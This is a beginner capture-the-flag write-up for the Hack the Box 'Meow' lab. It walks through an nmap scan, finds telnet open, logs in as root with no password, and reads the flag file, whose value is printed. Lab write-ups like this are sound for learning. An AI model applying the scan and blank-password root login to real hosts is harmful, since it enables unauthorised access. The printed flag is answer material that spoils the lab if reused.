Enumeration

The first stage was enumeration, after I ensured the box was responding by sending simple icmp packets and receiving a response I performed an Nmap scan which revealed:

```
sudo nmap -sV {target_IP}
_____________________________________

nmap scan report for 10.129.171.108
Host is up (0.016s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds
```

This shows that the tcp port 23 is open and running the telnet service, following some quick research (google searching) I found out that this service is old and is used to remotely manage hosts on a network.

By attempting to connect using the command “telnet {target_IP} we are met with a login page with a banner hack the box, since the box has no other services running or open ports, I know I am heading in the right direction however I don’t have any credentials to check. Again by researching the telnet protocol I can see that sometimes the password field can be left blank for ease of use, by assuming there is no password I can perform a simple brute force using some simple usernames such as admin, administrator and root.

```
┌──(kali㉿kali)-[~]
└─$ telnet 10.129.45.235
Trying 10.129.45.235...
Connected to 10.129.45.235.
Escape character is '^]'.

Hack the Box

Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 26 Mar 2024 01:15:58 PM UTC

  System load:           0.07
  Usage of /:            41.7% of 7.75GB
  Memory usage:          4%
  Swap usage:            0%
  Processes:             144
  Users logged in:       0
  IPv4 address for eth0: 10.129.45.235
  IPv6 address for eth0: dead:beef::250:56ff:feb0:bf35

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

5 updates can be applied immediately.
1 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~#
```

We can see that root was successful.

Now by using ls we can see what is listed here.

```
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0
root@Meow:~# ls
flag.txt  snap
root@Meow:~#
```

Next if we open the flag.txt we can find the flag to complete the box

```
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#
```

We have now completed this simple box.
